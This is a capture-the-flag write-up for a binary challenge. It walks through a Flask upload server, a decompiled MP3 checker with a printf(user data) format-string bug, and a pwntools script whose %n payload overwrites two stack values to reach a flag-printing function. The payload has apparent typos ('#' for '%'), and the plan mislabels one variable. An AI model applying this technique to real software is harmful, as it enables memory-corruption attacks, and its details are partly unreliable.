

Pixel Audio

This challenge contains a server with a vulnerable binary that we have to pwn

1) Checked the server script

```
import subprocess

from flask import Flask, render_template, request, redirect

app = Flask(__name__)

CMD_PATH = os.getenv("CMD_PATH", "./main")

@app.route('/')
def index():
    return render_template('index.html')

@app.route("/upload", methods=["POST"])
def upload():
    if "file" not in request.files:
        return "File not in request", 400

    file = request.files["file"]
    is_mp3 = file.filename.endswith(".mp3")

    if not is_mp3:
        return "File is not mp3", 400

    filepath = os.path.join("/tmp", "test.mp3")
    file.save(filepath)

    return redirect("/")

@app.route("/play", methods=["GET"])
def play():
    sp = subprocess.run([CMD_PATH], capture_output=True, text=True)
    return sp.stdout, 200

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=1337, debug=True)
```

play runs main binary

2) Checked security of main

```
(vigneswar@VigneswarPC)-[~/Pwn/Pixel Audio/challenge]
$ checksec main
[*] '/home/vigneswar/Pwn/Pixel Audio/challenge/main'
  Arch:             amd64-64-little
  RELRO:             Full RELRO
  Stack:             Canary found
  NX:                NX enabled
  PIE:               PIE enabled
  RUNPATH:           b'./glibc/'
```

3) Decompiled it

Decompile: main - (main)

```
1
2 undefined8 main(void)
3
4 {
5     long lVar1;
6     long in_FS_OFFSET;
7
8     lVar1 = *(long *)(in_FS_OFFSET + 0x28);
9     is_mp3("/tmp/test.mp3");
10    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
11        /* WARNING: Subroutine does not return */
12        __stack_chk_fail();
13    }
14    return 0;
15 }
16
```

C: Decompile: beta_test - (main)

```
1
2 void beta_test(void)
3
4 {
5     ssize_t sVar1;
6     long in_FS_OFFSET;
7     char local_15;
8     int local_14;
9     long local_10;
10
11     local_10 = *(long *)(in_FS_OFFSET + 0x28);
12     system("clear");
13     fflush(stdout);
14     fflush(stdin);
15     local_14 = open("./flag.txt",0);
16     if (local_14 < 0) {
17         perror("\nError opening flag.txt, please contact an Administrator");
18         /* WARNING: Subroutine does not return */
19         exit(1);
20     }
21     puts("\n\n[>] Now playing: Darude Sandstorm!\n");
22     while( true ) {
23         sVar1 = read(local_14,&local_15,1);
24         if (sVar1 < 1) break;
25         fputc((int)local_15,stdout);
26     }
27     close(local_14);
28     if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
29         /* WARNING: Subroutine does not return */
30         __stack_chk_fail();
31     }
32     return;
33 }
34
```

Decompile: is_mp3 - (main)

```

2 void is_mp3(char *param_1)
3
4 {
5     int iVar1;
6     long in_FS_OFFSET;
7     ulong local_60;
8     ulong local_58;
9     FILE *local_50;
10    ulong *local_48;
11    ulong *local_40;
12    size_t local_38;
13    undefined local_2b [3];
14    char local_28 [24];
15    long local_10;
16
17    local_10 = *(long *) (in_FS_OFFSET + 0x28);
18    local_50 = fopen(param_1,"rb");
19    local_60 = 0xdead1337;
20    local_48 = &local_60;
21    local_58 = 0x1337beef;
22    local_40 = &local_58;
23    if (local_50 == (FILE *)0x0) {
24        perror("[-] Error opening the mp3 file, please contact an Administrator");
25        putchar(10);
26        /* WARNING: Subroutine does not return */
27        exit(1);
28    }
29    local_38 = fread(local_2b,1,3,local_50);
30    fread(local_28,1,0x16,local_50);
31    fclose(local_50);
32    if (local_38 < 3) {
33        error("File is too short to contain magic bytes!\n");
34        /* WARNING: Subroutine does not return */
35        exit(0x520);
36    }
37    iVar1 = memcmp(local_2b,&magic_bytes,3);
38    if (iVar1 != 0) {
39        puts("[-] File has corrupted magic bytes!");
40        /* WARNING: Subroutine does not return */
41        exit(0x520);
42    }
43    printf("[*] Analyzing mp3 data: ");
44    printf(local_28);
45    if (((local_60 & 0xffff) == 0xbeef) && ((local_58 & 0xffff) == 0xc0de)) {
46        beta_test();
47    }
48    else {
49        puts(&DAT_00102140);
50    }
51    if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
52        /* WARNING: Subroutine does not return */
53        stack_chk_fail();

```

4) Plan:

There is a format string vulnerability in `is_mp3`, using that we have to overwrite `local_50` and `local_58` to reach `beta_test()`

5) Exploit

```
(remote) gef> x/30a $rsp
0x7fff7dafc990: 0x0      0x555d987251a5
0x7fff7dafc9a0: 0xd      0xdead1337
0x7fff7dafc9b0: 0x1337beef 0x555d98ce32a0
0x7fff7dafc9c0: 0x7fff7dafc9a8 0x7fff7dafc9b0
0x7fff7dafc9d0: 0x3      0x334449ff7dafcdc9
0x7fff7dafc9e0: 0x7fff70243925 0x10101000000
0x7fff7dafc9f0: 0x2      0xffdb0e1bc9c1b300
0x7fff7dafca00: 0x7fff7dafca20 0x555d9872463b <main+42>
0x7fff7dafca10: 0x1000   0xffdb0e1bc9c1b300
0x7fff7dafca20: 0x1      0x7f25c1f6ad90
0x7fff7dafca30: 0x0      0x555d98724611 <main>
0x7fff7dafca40: 0x17dafcb20 0x7fff7dafcb38
0x7fff7dafca50: 0x0      0xacdab9c5cb5d466
0x7fff7dafca60: 0x7fff7dafcb38 0x555d98724611 <main>
0x7fff7dafca70: 0x555d98726d20 0x7f25c21a6040 <_rtld_global>
(remote) gef>
```

The two address to overwrite are stored in stack

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./main")
context.binary = exe

target1 = 0xbeef
target2 = 0xc0de
payload = b'\x49\x44\x33'+f'#{target1}c%12$n#{target2-target1}c%13$n'.encode()
with open('/tmp/test.mp3', 'wb') as file:
    file.write(payload)

io = gdb.debug(exe.path, 'b* is_mp3+0x14b \nc')

io.interactive()
```

6) FLag

